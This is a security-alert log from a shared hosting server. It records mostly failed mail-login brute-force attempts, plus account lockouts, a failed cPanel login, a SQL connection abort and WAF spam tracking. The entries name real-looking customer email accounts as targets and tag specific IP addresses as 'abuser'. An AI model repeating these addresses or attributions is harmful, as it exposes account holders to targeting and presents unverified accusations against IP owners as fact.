2026-01-30 14:36:20 dovecot_login authenticator failed for H=(w7s2li) [185.230.124.69]:56004: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:37:29 dovecot_login authenticator failed for H=(PKrpEwTA) [178.16.54.22]:63415: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-01-30 14:37:16 dovecot_login authenticator failed for H=(www.safecleen.com) [58.49.113.138]:13421: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.6.108.13
country_id: 1814991
description:
2026-01-30 14:37:20 dovecot_login authenticator failed for H=([119.6.108.13]) [119.6.108.13]:55672: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:37:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account zain@pspoly.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:37:07 dovecot_login authenticator failed for H=(WOExzT6S) [185.230.124.69]:64225: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.220.168
country_id: 337996
description:
2026-01-30 14:37:33 dovecot_login authenticator failed for H=([196.190.220.168]) [196.190.220.168]:46142: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.228.86
country_id: 1269750
description:
2026-01-30 14:37:46 dovecot_login authenticator failed for H=([182.95.22.208]) [125.23.228.86]:53780: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:38:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account zain@pspoly.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:38:09 dovecot_login authenticator failed for H=(cHAr3SYVI) [185.230.124.69]:54039: 535 Incorrect authentication data (set_id=zain@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.93.167.144
country_id: 1835841
description:
2026-01-30 14:38:44 dovecot_login authenticator failed for H=([220.93.167.144]) [220.93.167.144]:59532: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 133.232.78.150
country_id: 1861060
description:
2026-01-30 14:38:21 dovecot_login authenticator failed for H=133.232.78.150.static.zoot.jp [133.232.78.150]:33146: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.160.29.241
country_id: 1835841
description:
2026-01-30 14:38:30 dovecot_login authenticator failed for H=([112.160.29.241]) [112.160.29.241]:57705: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:38:32 dovecot_login authenticator failed for H=(mW7LuXfE6B) [178.16.54.22]:53203: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-01-30 14:38:44 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:52732: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:38:55 dovecot_login authenticator failed for H=(dOYI8J) [185.230.124.69]:53268: 535 Incorrect authentication data (set_id=zain@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:39:10 dovecot_login authenticator failed for H=(zkKF5MvtJ) [185.230.124.69]:65531: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.237.5.26
country_id: 1814991
description:
2026-01-30 14:39:39 dovecot_login authenticator failed for H=([183.237.5.26]) [183.237.5.26]:33137: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-01-30 14:39:02 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:57122: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:39:04 dovecot_login authenticator failed for H=(YVHwNmh9bJ) [178.16.54.22]:63518: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 14:39:06 dovecot_login authenticator failed for H=(Xc4wSvZ) [178.16.54.138]:57646: 535 Incorrect authentication data (set_id=mrswong@fimco.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:39:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account zain@pspoly.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-01-30 14:39:46 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:51438: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:40:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account zain@pspoly.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.249.98.23
country_id: 1814991
description:
2026-01-30 14:40:02 dovecot_login authenticator failed for H=([36.249.98.23]) [36.249.98.23]:41511: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:40:03 dovecot_login authenticator failed for H=(8sKqSLk) [185.230.124.69]:64195: 535 Incorrect authentication data (set_id=zain@pspoly.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 30 14:40:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account teng has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:40:06 dovecot_login authenticator failed for H=(7nEKBTvVWF) [178.16.54.22]:55683: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 14:40:11 dovecot_login authenticator failed for H=(mtDsEzqM) [178.16.54.138]:62777: 535 Incorrect authentication data (set_id=mrswong@fimco.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-01-30 14:41:44 dovecot_login authenticator failed for H=(144.121.245.65.lightower.net) [64.72.74.162]:44020: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 30 14:41:00 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account teng has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:41:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yap.cheehim@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:41:02 dovecot_login authenticator failed for H=(iC7rPW) [178.16.54.22]:54015: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.217.40.11
country_id: 6252001
description:
2026-01-30 14:41:35 dovecot_login authenticator failed for H=([50.217.40.11]) [50.217.40.11]:36098: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:41:05 dovecot_login authenticator failed for H=(YySpATWy) [185.230.124.69]:59140: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.238.92.245
country_id: 2623032
description:
2026-01-30 14:41:09 dovecot_login authenticator failed for H=([84.238.92.245]) [84.238.92.245]:44167: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:41:14 dovecot_login authenticator failed for H=(19L0qkdpXs) [185.230.124.69]:65398: 535 Incorrect authentication data (set_id=zain@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-01-30 14:41:36 dovecot_login authenticator failed for H=([175.180.129.87]) [175.180.129.87]:47716: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 14:42:17 dovecot_login authenticator failed for H=(ZkPSjqEq) [178.16.54.138]:56878: 535 Incorrect authentication data (set_id=mrswong@fimco.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:42:04 dovecot_login authenticator failed for H=(c5EWiOf) [185.230.124.69]:50325: 535 Incorrect authentication data (set_id=zain@pspoly.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:42:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yap.cheehim@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 30 14:42:00 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account teng has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.150.135.19
country_id: 690791
description:
2026-01-30 14:42:11 dovecot_login authenticator failed for H=(19.135.150.178.triolan.net) [178.150.135.19]:34948: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-01-30 14:42:22 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:37366: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:42:02 dovecot_login authenticator failed for H=(xaoz7rU) [178.16.54.22]:58895: 535 Incorrect authentication data (set_id=teng)


plugin: modsec
rule: 77141095
name: IM360 WAF: Track spam in PrestaShop
abuser: 178.20.47.39
country_id: 2017370
domain: www.modern.com.my
description:
IM360 WAF: Track spam in PrestaShop||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/contact-us/||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.182.65.40
country_id: 3017382
description:
2026-01-30 14:43:44 dovecot_login authenticator failed for H=40.ip-217-182-65.eu [217.182.65.40]:49002: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:43:01 dovecot_login authenticator failed for H=(ALYi3BMw) [178.16.54.22]:62028: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:43:04 dovecot_login authenticator failed for H=(mMEVWZ0Up) [185.230.124.69]:57901: 535 Incorrect authentication data (set_id=zain@pspoly.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:43:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yap.cheehim@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:43:06 dovecot_login authenticator failed for H=(X4z9vCwI) [185.230.124.69]:53384: 535 Incorrect authentication data (set_id=zulhelmie@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 14:43:16 dovecot_login authenticator failed for H=(57LJcpVTKA) [178.16.54.138]:51456: 535 Incorrect authentication data (set_id=mrswong@fimco.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-01-30 14:43:46 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:41418: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 14:44:29 dovecot_login authenticator failed for H=(kKykAvh) [178.16.54.138]:55442: 535 Incorrect authentication data (set_id=mrswong@fimco.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.204.22.234
country_id: 2017370
description:
2026-01-30 14:44:30 dovecot_login authenticator failed for H=(broadband-37.204-22-234.ip.moscow.rt.ru) [37.204.22.234]:58716: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.57.170.15
country_id: 3175395
description:
2026-01-30 14:44:31 dovecot_plain authenticator failed for H=([100.64.100.6]) [2.57.170.15]:10012: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:44:12 dovecot_login authenticator failed for H=(yCk3MW) [185.230.124.69]:60338: 535 Incorrect authentication data (set_id=zulhelmie@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-01-30 14:44:30 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:51152: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:44:49 dovecot_login authenticator failed for H=(L6aUdFsZVt) [178.16.54.22]:59240: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:44:59 dovecot_login authenticator failed for H=(rVQUbiqC) [185.230.124.69]:56531: 535 Incorrect authentication data (set_id=zain@pspoly.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:44:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yap.cheehim@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:45:01 dovecot_login authenticator failed for H=(qNNgPBt4) [185.230.124.69]:49368: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.57.170.15
country_id: 3175395
description:
2026-01-30 14:45:05 dovecot_plain authenticator failed for H=([100.64.100.6]) [2.57.170.15]:16563: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:45:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account zulhelmie@essemgroup.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:45:20 dovecot_login authenticator failed for H=(q0UiRnhQ) [178.16.54.22]:55884: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 14:45:42 dovecot_login authenticator failed for H=(Fr6VnSRYJ) [178.16.54.138]:56810: 535 Incorrect authentication data (set_id=mrswong@fimco.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:46:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account zulhelmie@essemgroup.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:46:21 dovecot_login authenticator failed for H=(55kdgDjC3) [178.16.54.22]:59418: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:46:03 dovecot_login authenticator failed for H=(baywbpNUN4) [185.230.124.69]:49717: 535 Incorrect authentication data (set_id=zulhelmie@essemgroup.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:46:49 dovecot_login authenticator failed for H=(iLAZ9Tdy) [185.230.124.69]:55070: 535 Incorrect authentication data (set_id=zulhelmie@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.143.205.50
country_id: 690791
description:
2026-01-30 14:47:33 dovecot_login authenticator failed for H=(host-50-205-143-83.reedlan.com) [83.143.205.50]:36036: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:47:49 dovecot_login authenticator failed for H=(3CjloDkAXf) [178.16.54.22]:52959: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:47:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account zulhelmie@essemgroup.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:47:13 dovecot_login authenticator failed for H=(mBjuLUJ) [185.230.124.69]:58105: 535 Incorrect authentication data (set_id=zulhelmie@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.95.14.102
country_id: 1835841
description:
2026-01-30 14:47:26 dovecot_login authenticator failed for H=([220.95.14.102]) [220.95.14.102]:51028: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 14:47:50 dovecot_login authenticator failed for H=(rMRXlTPDT) [178.16.54.138]:53132: 535 Incorrect authentication data (set_id=mrswong@fimco.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 14:48:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57054: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:48:11 dovecot_login authenticator failed for H=(RdZrCne) [185.230.124.69]:64824: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:48:45 dovecot_login authenticator failed for H=(uBqWXcEha) [178.16.54.22]:61079: 535 Incorrect authentication data (set_id=teng@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.143.14
country_id: 1269750
description:
2026-01-30 14:48:10 dovecot_login authenticator failed for H=([103.251.143.14]) [103.251.143.14]:36450: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:48:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account zain@pspoly.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.168.113.8
country_id: 3469034
description:
[2026-01-30 14:48:18 +0800] info [cpaneld] 45.168.113.8 - thinkclo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user thinkclo (has_cpuser_file failed)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:48:31 dovecot_login authenticator failed for H=(yEMzdU) [185.230.124.69]:51578: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-01-30 14:48:35 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:59236: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.245.202
country_id: 1814991
description:
2026-01-30 14:48:09 dovecot_login authenticator failed for H=([218.21.245.202]) [218.21.245.202]:42472: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
2026-01-30 14:48:33 dovecot_login authenticator failed for H=([117.4.81.106]) [117.4.81.106]:38782: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:49:18 dovecot_login authenticator failed for H=(KQAh8x3HxV) [185.230.124.69]:56656: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.83
country_id: 1733045
description:
2026-01-30 14:49:37 dovecot_login authenticator failed for H=([49.124.151.83]) [49.124.151.83]:41446: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-30 14:49:42 H=([45.144.212.50]) [45.144.212.50]:58164 F=<info@oceanrichmarine.com> rejected RCPT <khim@ktlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from oceanrichmarine.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.193.122.91
country_id: 690791
description:
2026-01-30 14:49:54 dovecot_login authenticator failed for H=(82.193.122.91.cl.ipnet.ua) [82.193.122.91]:60933: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.207.227
country_id: 1282988
description:
2026-01-30 14:49:14 dovecot_login authenticator failed for H=([103.130.207.227]) [103.130.207.227]:49524: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:49:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yap.cheehim@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.160
country_id: 2750405
description:
2026-01-30 14:49:47 973163 [Warning] Aborted connection 973163 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.160' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.43.137.90
country_id: 1835841
description:
2026-01-30 14:49:06 dovecot_login authenticator failed for H=([14.43.137.90]) [14.43.137.90]:58188: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 14:49:30 dovecot_login authenticator failed for H=(c7PTy4) [178.16.54.138]:61435: 535 Incorrect authentication data (set_id=mrswong@fimco.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.181.234.33
country_id: 289688
description:
2026-01-30 14:50:00 dovecot_login authenticator failed for H=(ADMIN) [95.181.234.33]:52258: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:49:20 dovecot_login authenticator failed for H=(C9wHqIeOVy) [178.16.54.22]:62596: 535 Incorrect authentication data (set_id=teng@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:50:03 dovecot_login authenticator failed for H=(EcK5xU) [185.230.124.69]:60046: 535 Incorrect authentication data (set_id=yap.cheehim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.179.93.147
country_id: 1835841
description:
2026-01-30 14:50:04 dovecot_login authenticator failed for H=([121.179.93.147]) [121.179.93.147]:42192: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.239.19.241
country_id: 2017370
description:
2026-01-30 14:50:09 dovecot_plain authenticator failed for H=(budged) [195.239.19.241]:52398: 535 Incorrect authentication data (set_id=info@nmahir.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 14:50:27 H=(localhost.localdomain) [45.150.192.143]:55710 F=<info@kapkenya.org> temporarily rejected RCPT <cky@ahfengineering.com>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 14:50:33 dovecot_login authenticator failed for H=(Ok0A0a) [178.16.54.138]:53632: 535 Incorrect authentication data (set_id=mrswong@fimco.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.181.234.33
country_id: 289688
description:
2026-01-30 14:50:01 dovecot_login authenticator failed for H=(ADMIN) [95.181.234.33]:33452: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:50:50 dovecot_login authenticator failed for H=(Oz0IlBS) [178.16.54.22]:64629: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 14:51:39 dovecot_login authenticator failed for H=(F27Om02) [178.16.54.138]:57086: 535 Incorrect authentication data (set_id=mrswong@fimco.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.190.91.99
country_id: 1269750
description:
2026-01-30 14:51:41 dovecot_login authenticator failed for H=([103.190.91.99]) [103.190.91.99]:44634: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.172.213.166
country_id: 1605651
description:
2026-01-30 14:52:00 dovecot_login authenticator failed for H=([203.172.213.166]) [203.172.213.166]:47264: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.31.59
country_id: 2017370
description:
2026-01-30 14:51:57 dovecot_login authenticator failed for H=([31.173.31.59]) [31.173.31.59]:45422: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.207.248.5
country_id: 3469034
description:
2026-01-30 14:51:12 dovecot_login authenticator failed for H=(mamanguape.static.gvt.net.br) [177.207.248.5]:60879: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:51:20 dovecot_login authenticator failed for H=(SSYFSMMunI) [178.16.54.22]:50283: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.126.105.42
country_id: 3469034
description:
2026-01-30 14:52:26 dovecot_login authenticator failed for H=187-126-105-42.user.vtal.net.br (187-126-105-145.user.vtal.net.br) [187.126.105.42]:33480: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
